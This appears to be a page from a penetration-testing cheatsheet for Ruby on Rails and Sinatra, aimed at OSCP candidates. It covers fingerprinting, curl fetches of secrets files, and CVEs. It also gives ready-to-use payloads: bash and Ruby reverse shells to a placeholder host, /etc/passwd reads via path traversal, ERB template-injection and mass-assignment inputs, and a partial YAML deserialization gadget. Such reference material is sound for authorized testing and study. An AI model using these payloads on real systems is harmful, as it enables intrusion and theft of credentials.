Skip to main content

Ruby (Ruby on Rails / Sinatra)

Part of 03 Languages in the Web Application Testing Cheatsheet.

Contents:


1. Detection​

1.1 Headers and cookies​

Header / cookieIndicates
Server: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)WEBrick (dev server, version visible)
Server: PumaPuma (production Ruby server)
Server: UnicornUnicorn
Server: PassengerPhusion Passenger
X-Powered-By: Phusion PassengerPassenger
Set-Cookie: _<APPNAME>_session=...Rails session
X-Runtime: 0.123456Rails (in dev mode)
X-Request-IdRails (middleware)

1.2 Error messages​

Error textFramework
WebconsoleRails dev mode (interactive console in error page!)
ActionController::RoutingErrorRails
ActiveRecord::RecordNotFoundRails (ActiveRecord)
NoMethodErrorRuby
NameErrorRuby
Sinatra doesn't know this dittySinatra (default 404)
Template render errorSinatra / Rails

1.3 File paths and structure​

PathPurpose
/config/routes.rbRails routes
/config/database.ymlDB creds
/config/secrets.ymlRails secret_key_base
/config/credentials.yml.encEncrypted Rails creds
/app/controllers/Controllers
/app/models/Models
/app/views/Views (ERB, Haml, Slim)
/Gemfile, /Gemfile.lockDependencies
/public/Static files
/tmp/Temp (sessions, cache)

2. Enumeration​

2.1 Common files​

curl -s http://<TARGET>/Gemfile
curl -s http://<TARGET>/Gemfile.lock
curl -s http://<TARGET>/config/database.yml
curl -s http://<TARGET>/config/secrets.yml
curl -s http://<TARGET>/config/routes.rb
curl -s http://<TARGET>/.env

2.2 Rails-specific paths​

PathPurpose
/rails/info/routesAll routes (dev)
/rails/info/propertiesApp properties (dev)
/rails/mailersMailer previews (dev)
/sidekiqSidekiq web UI
/admin, /administratorAdmin panels
/assets/Sprockets assets

2.3 Version fingerprinting​

curl -sI http://<TARGET>/ | grep -i server
curl -s http://<TARGET>/404 | grep -i "webconsole\|ruby\|rails"

2.4 Webconsole (Rails dev)​

Critical: if error page has a Webconsole icon (bottom-right), you have a Ruby REPL in the browser.

# Confirm by triggering an error
curl -s http://<TARGET>/nonexistent-xyz

IMPORTANT

OSCP report: take a screenshot of the Webconsole page (command + output + timestamp). This is a direct RCE primitive.


3. Known CVEs​

CVEAffectedImpactNVD
CVE-2013-0156Rails < 3.2.10RCE via XML deserializationhttps://nvd.nist.gov/vuln/detail/CVE-2013-0156
CVE-2016-0752Rails < 4.2.5.1Dynamic render path traversalhttps://nvd.nist.gov/vuln/detail/CVE-2016-0752
CVE-2018-3760Rails < 5.2.0Path traversal in Sprocketshttps://nvd.nist.gov/vuln/detail/CVE-2018-3760
CVE-2019-5418Rails < 5.2.2.1File read via Accept headerhttps://nvd.nist.gov/vuln/detail/CVE-2019-5418
CVE-2019-5420Rails < 5.2.2.1 / 6.0.0.beta3RCE via secret_key_basehttps://nvd.nist.gov/vuln/detail/CVE-2019-5420
CVE-2020-8163Rails < 5.2.4.3RCE via render file:https://nvd.nist.gov/vuln/detail/CVE-2020-8163
CVE-2022-32224Rails 5.2.8.1 / 6.0.5.1 / 7.0.3.1RCE via YAML deserializationhttps://nvd.nist.gov/vuln/detail/CVE-2022-32224
CVE-2025-23091Rails 7.0.x-8.0.xPath traversal in static file serverhttps://nvd.nist.gov/vuln/detail/CVE-2025-23091

4. Exploitation patterns​

4.1 Rails Webconsole RCE​

If dev mode + Webconsole visible:

  1. Trigger an error (/nonexistent).
  2. Click the Webconsole icon (bottom-right).
  3. In the console, run Ruby:
`id`
`bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'`
system("id")
File.read("/etc/passwd")

4.2 Rails secret_key_base -> RCE (CVE-2019-5420)​

If secret_key_base leaks (from config/secrets.yml, config/credentials.yml.enc, or env):

  1. Use the leaked key to sign a malicious session cookie or a signed message.
  2. Combined with deserialization sinks -> RCE.

Tools:

  • rails_secret_key_base exploit scripts on GitHub.
  • msf module: exploit/multi/http/rails_secret_deserialization

4.3 Mass assignment​

Rails' attr_accessible (removed in Rails 4) or weak strong params allow setting arbitrary columns:

POST /users
user[username]=attacker&user[admin]=true

4.4 SQL injection (ActiveRecord)​

# Vulnerable
User.where("name = '#{params[:name]}'")
User.find_by_sql("SELECT * FROM users WHERE name = '#{params[:name]}'")

# Safe
User.where(name: params[:name])
User.where("name = ?", params[:name])

4.5 YAML deserialization (CVE-2022-32224)​

If app uses YAML.load on user input (not safe_load):

--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"

Tool: rails_yaml_deser (public PoCs) or msf module.

4.6 Command injection​

Common sinks:

system(params[:cmd])
`#{params[:cmd]}`
exec(params[:cmd])
IO.popen(params[:cmd])
Open3.capture2(params[:cmd])
%x{#{params[:cmd]}}

4.7 ERB SSTI​

If user input flows into an ERB template:

<%= 7*7 %>
<%= system("id") %>
<%= `id` %>

4.8 File read via Accept header (CVE-2019-5418)​

curl -H "Accept: ../../../../etc/passwd{{" http://<TARGET>/

Response includes the file content (if Rails version vulnerable).


5. Framework-specific​

5.1 Ruby on Rails​

  • /config/routes.rb - routes
  • /config/database.yml - DB creds (often with env vars)
  • /config/secrets.yml - secret_key_base
  • /config/credentials.yml.enc - encrypted creds (need master.key)
  • /app/ - MVC code
  • /rails/info/routes - dev route list
  • /rails/info/properties - dev app info

5.2 Sinatra​

  • Single-file apps (app.rb)
  • Sinatra doesn't know this ditty - default 404
  • ERB / Haml / Slim templates
  • Less structured than Rails

5.3 Other Ruby servers​

  • WEBrick - dev only, slow, verbose
  • Puma - production (multi-threaded)
  • Unicorn - production (multi-process)
  • Passenger - Apache/Nginx integration

6. Post-exploitation​

6.1 Read config files​

/config/database.yml
/config/secrets.yml
/config/credentials.yml.enc
/config/master.key
/config/storage.yml
/config/initializers/*.rb

6.2 Rails session decode​

Rails session cookies are encrypted + signed with secret_key_base. With the key:

# In a Rails console
Rails.application.message_verifier(:signed).verify("<cookie>")

Or use rails-cookie-decryptor tools.

6.3 Ruby reverse shell​

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<LHOST>","<LPORT>");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

One-liner (shorter):

ruby -rsocket -e 'c=TCPSocket.new("<LHOST>","<LPORT>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read};end'

7. OSCP notes​

IMPORTANT

OSCP report: screenshot the framework fingerprint (Server header, Webconsole icon, Rails error page) that identifies Ruby.

IMPORTANT

OSCP report: screenshot the Webconsole RCE or the deserialization payload output.

IMPORTANT

OSCP report: screenshot config/database.yml or config/secrets.yml read (creds, secret_key_base).


8. References​